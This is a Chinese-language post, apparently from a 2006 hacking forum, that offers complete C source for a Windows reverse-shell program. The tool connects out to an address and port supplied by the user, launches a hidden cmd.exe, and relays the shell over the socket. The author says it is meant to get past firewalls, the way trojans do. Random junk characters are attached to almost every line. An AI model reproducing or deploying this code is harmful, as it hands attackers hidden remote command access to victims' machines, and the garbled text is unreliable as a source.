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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NQ|xM"MqD  
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/* ============================== $ P: O/O=>  
Rebound port in Windows NT kax\h  
By wind,2006/7 W3&tJ8*3  
===============================*/ 'P laMOy  
#include 4'Xgk8)  
#include C;Ic  
7OVbP%n)d2  
#pragma comment(lib,"wsock32.lib") u/Fj'*M  
V &Mf:@y  
void OutputShell(); PfG`C5 d  
SOCKET sClient; ,WWj-X|+=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]lS@}W\  
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void main(int argc,char **argv) Ybg- "w  
{ yPu4T6Vv  
WSADATA stWsaData; ( 0Naf  
int nRet; J?n<ydZSH  
SOCKADDR_IN stSaiClient,stSaiServer; Zt@Z=r:&  
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if(argc != 3) ;\y ;  
{ b!$}ma;B  
printf("Useage:\n\rRebound DestIP DestPort\n"); kw,$NK'  
return; ,xths3.K  
} gJ3c;  
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WSAStartup(MAKEWORD(2,2),&stWsaData); uH\kQ9f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); },+~F8B  
#T~&]|{,  
stSaiClient.sin_family = AF_INET; >_ X/[<  
stSaiClient.sin_port = htons(0); X1A<$Am1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vf-5&S&9  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U!e6FHj7  
{ _qWC4NMF(  
printf("Bind Socket Failed!\n"); oP,9#FC|(  
return; t7F.[uWD  
} !0 Q8iW:  
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stSaiServer.sin_family = AF_INET; Vm8D"I5i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lQ*eH10H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7w58L:)B.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kJ=L2g>W<.  
{ 3gfimD$_E  
printf("Connect Error!"); yu&Kh4AP  
return; 8SnS~._9  
}  oYX{R  
OutputShell(); *j*Du+  
} 0jB X5  
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void OutputShell() iRV ;Fks  
{ &1)xoZ'\  
char szBuff[1024]; *M~.3$NN  
SECURITY_ATTRIBUTES stSecurityAttributes; EychR/s  
OSVERSIONINFO stOsversionInfo; rhY_|bi4P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K5ZnS`c;  
STARTUPINFO stStartupInfo; K%{ad1$c  
char *szShell; s` >H  
PROCESS_INFORMATION stProcessInformation; Q!CO0w  
unsigned long lBytesRead; Ly (P=M>"y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f\ "`7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C ?H{CP  
stSecurityAttributes.lpSecurityDescriptor = 0; V,QwN&  
stSecurityAttributes.bInheritHandle = TRUE; WOndE=(V  
RfbdBsL  
z] @W[MHY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]b[,LwB\`~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rm+v(&  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p$!@I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B.-A $/  
stStartupInfo.wShowWindow = SW_HIDE; d><fu]'  
stStartupInfo.hStdInput = hReadPipe; mf4z?G@6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ` %' z  
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GetVersionEx(&stOsversionInfo); G8NRj9k?  
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switch(stOsversionInfo.dwPlatformId) Hbr^vYs5  
{ ]G1R0 Q  
case 1: mC(u2  
szShell = "command.com"; ^eTZn[qH>w  
break; kMe@+ysL  
default: QTh0 SL  
szShell = "cmd.exe"; ;?im(9h"v!  
break; aR(E7mXQ  
} aG3k4  
f4]&pcK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U6i~A9;  
+G!v!(Ob+  
send(sClient,szMsg,77,0); &,uC9$  
while(1) J'7 y   
{ =49o U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !d4HN.a7+u  
if(lBytesRead) z<QIuq  
{ SL*DK.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E*4t8  
send(sClient,szBuff,lBytesRead,0);  Rkv  
} >6K4b/.5w  
else m'.T2e.u  
{ 4]"w b5%  
lBytesRead=recv(sClient,szBuff,1024,0); y''0PSfb#  
if(lBytesRead<=0) break; <lx^aakk!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X\G)81Q.S  
}  wF;B@  
} U(A4v0T  
9 x [X<  
return; `V~LV<v5  
}
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